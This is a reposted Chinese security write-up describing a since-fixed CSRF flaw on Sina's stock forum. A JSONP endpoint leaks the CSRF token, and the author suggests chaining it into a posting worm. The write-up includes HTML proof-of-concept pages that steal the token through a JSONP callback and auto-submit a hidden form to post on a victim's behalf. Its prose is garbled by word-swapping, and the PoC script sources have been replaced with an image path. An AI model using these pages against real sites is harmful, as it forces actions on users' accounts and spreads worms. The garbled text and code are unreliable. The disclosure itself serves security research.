|
|
|
联系客服020-83701501

分享一个jsonp劫持造成的新浪某社区CSRF蠕虫

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
分享一个jsonp挟制组成的新浪某社区CSRF蠕虫

迩来jsonp很火,诳言说已经是被玩烂了的,只是一直没有受到各人的重视。正幸好上个月,我挖过一个因为jsonp组成的新浪某社区CSRF,预先是为了筹备一篇文章,以后这篇文章也会拿出来分享。

因为新浪已经修复了题目,所以我先把这个裂缝分享出来。以下是预先写的悉数文章。

0x01 引子

据说新浪蒲月送衣服,我其实也没太多空去挖洞。副本想交一个两年前挖的CSRF刷粉,后果拿出来一看那洞早没了,目的站都换了。

详细说,即是我那个洞被302跳转到新浪股吧(http://guba.sina.com.cn/)去了。

迩来股市很火啊,几许人在股市里兴旺致富。因此我复杂开着burpsuite在股吧里转了一圈,创作发明了一处居生理的CSRF。

新浪微博玩的多的同窗都知道新浪针对CSRF裂缝的戒备策略是搜检Referer,但股吧发帖这里却不是,少见地搜检是token。

29551434785656(1)

如图,抓一个畸形发帖的POST数据包,咱们大约看到其中含有_csrf_token这个字段。颠末复杂FUZZ创作发明,这个乞求是不搜检Referer的,只需_csrf_token精确便可发帖。

那么,若何获取_csrf_token,我有以下思路:

  1. 搜查本站是否有泄漏token的jsonp
  2. 经由flash窃取源码

为甚么我会有以上思路?首先,获取token一定是一个跨域进程,跨域的话突出即是CORS、postMessage和jsonp,这里CORS和postMessage都是不具有的,那么我就去找jsonp。

flash的思路该当已经流传已久了,旧年这个时候/fd就已经在drops里说到了这个:http://drops.wooyun.org/tips/2031

但法2有一个很事多的前提是咱们必要找到一个能管制输出内容的点,如上传、jsonp等,但实际上何等的地位并不好找,利用起来不如第一种方法复杂。

0x02 jsonp出卖了你的_csrf_token

那么,跟着各人的思路来测试。

我先将_csrf_token修改成未便一个字符串,发送创作发明前去何等一个后果:

2(1)

前去的数据包是一个json款式的字符串,其中搜罗了一个_csrf_token。频繁发送这个数据包,我创作发明这个token每次乡村更动。

那么我可能大约猜到,股吧的token是一个动静生成的,该当是贮具有session中,每次搜检完成后会生成一个新的。

但这里是json款式的前去值,而非jsonp。

因此我在GET参数中参加“&callback=hehehe”尝尝:

3(1)

很领会理睬,前去的款式变了。只管不是jsonp,但倒是一个<script>了。

为甚么加上callback=hehehe就变了?这该当是一个开发习尚,突出开发经管api的时候乡村有json和jsonp两种款式,而突出取jsonp的函数名的变量名即是callback。

这里是<script>还是无法跨域呀,parent.hehehe实验父框架中的hehehe函数,但父框架(10.211.55.3)和guba.sina.com.cn还是一致域,chrome下会爆出这个错误:

4(1)

持续尝试,将HTTP方法改成GET:

5(1)

惊喜,方法一变就失掉jsonp了。

那么我用这个jsonp里的_csrf_token尝尝能不克不及失利发帖:

6(1)

悲剧的是,不可……

那么我有两个猜测

  1. _csrf_token和HTTP方法有关,GET方法只能痛GET方法获取的token,POST用POST的token
  2. _csrf_token和“吧id”有关,一致id对应一致token。缘故原由是前去错误的缘故原由里频繁提到“短少参数:吧id或吧名”。

第一个猜测被我的步骤员直觉否定了,我没见过有何等写步骤的。

我尝试第二个猜测,在GET数据包的URL中加上&bid=9947,再次发送数据包:

7(1)

仍旧是jsonp款式,我将这个token再写入post数据包中发送:

8(1)

失利了!

一个jsonp将_csrf_token彻底出卖了。

0x03 构造POC宣布利便帖子

那么我初步编写POC来完成刚才手工完成的步骤。思路以下:

  1. jsonp失掉token
  2. 构造POST表单提交

先构造一个获取token的复杂代码:

Default
12345678910111213 <html><head><title>test</title><meta charset="utf-8"><script type="text/javascript">function hehehe(obj){ console.log(obj); alert(obj["result"]["data"]["_csrf_token"]);}</script><script type="text/javascript" src=“/uploads/allimg/191104/094K122H-9.jpg"></script></head></html>

成果如图:

9(1)

已经获取到token了。

这时候,将token嵌入表单中提交便可:

Default
12345678910111213141516171819202122232425 <html><head><title>test</title><meta charset="utf-8"></head><body><form action="http://guba.sina.com.cn/api/?s=Thread&a=safe_post" method="POST" id="csrfsend"><input type="hidden" name="bid" value="9947"><input type="hidden" name="tid" value=""><input type="hidden" name="content" value="这是测试后果"><input type="hidden" name="title" value="这是测试标题题目"><input type="hidden" id="token" name="_csrf_token" value=""><input type="hidden" name="anonymous" value="1"></form><script type="text/javascript">function hehehe(obj){ console.log(obj); var csrf_token = obj["result"]["data"]["_csrf_token"]; document.getElementById("token").value = csrf_token; document.getElementById("csrfsend").submit();}</script><script type="text/javascript" src="/uploads/allimg/191104/094K122H-9.jpg"></script></body></html>

以上代码,生涯为sinacsrf.html,利便用户访问后便可触发,在板块9947宣布一篇新帖子:

10(1)

如图可见已宣布:

11(1)

这即是一个很典型的CSRF裂缝,经由jsonp窃取token来绕过后端的搜检。

宣布的帖子里还能再贴入链接,引诱别的用户点击,点击访问再次发帖,组成一个CSRF蠕虫。

[via@phith0n]

数安新闻+更多

证书相关+更多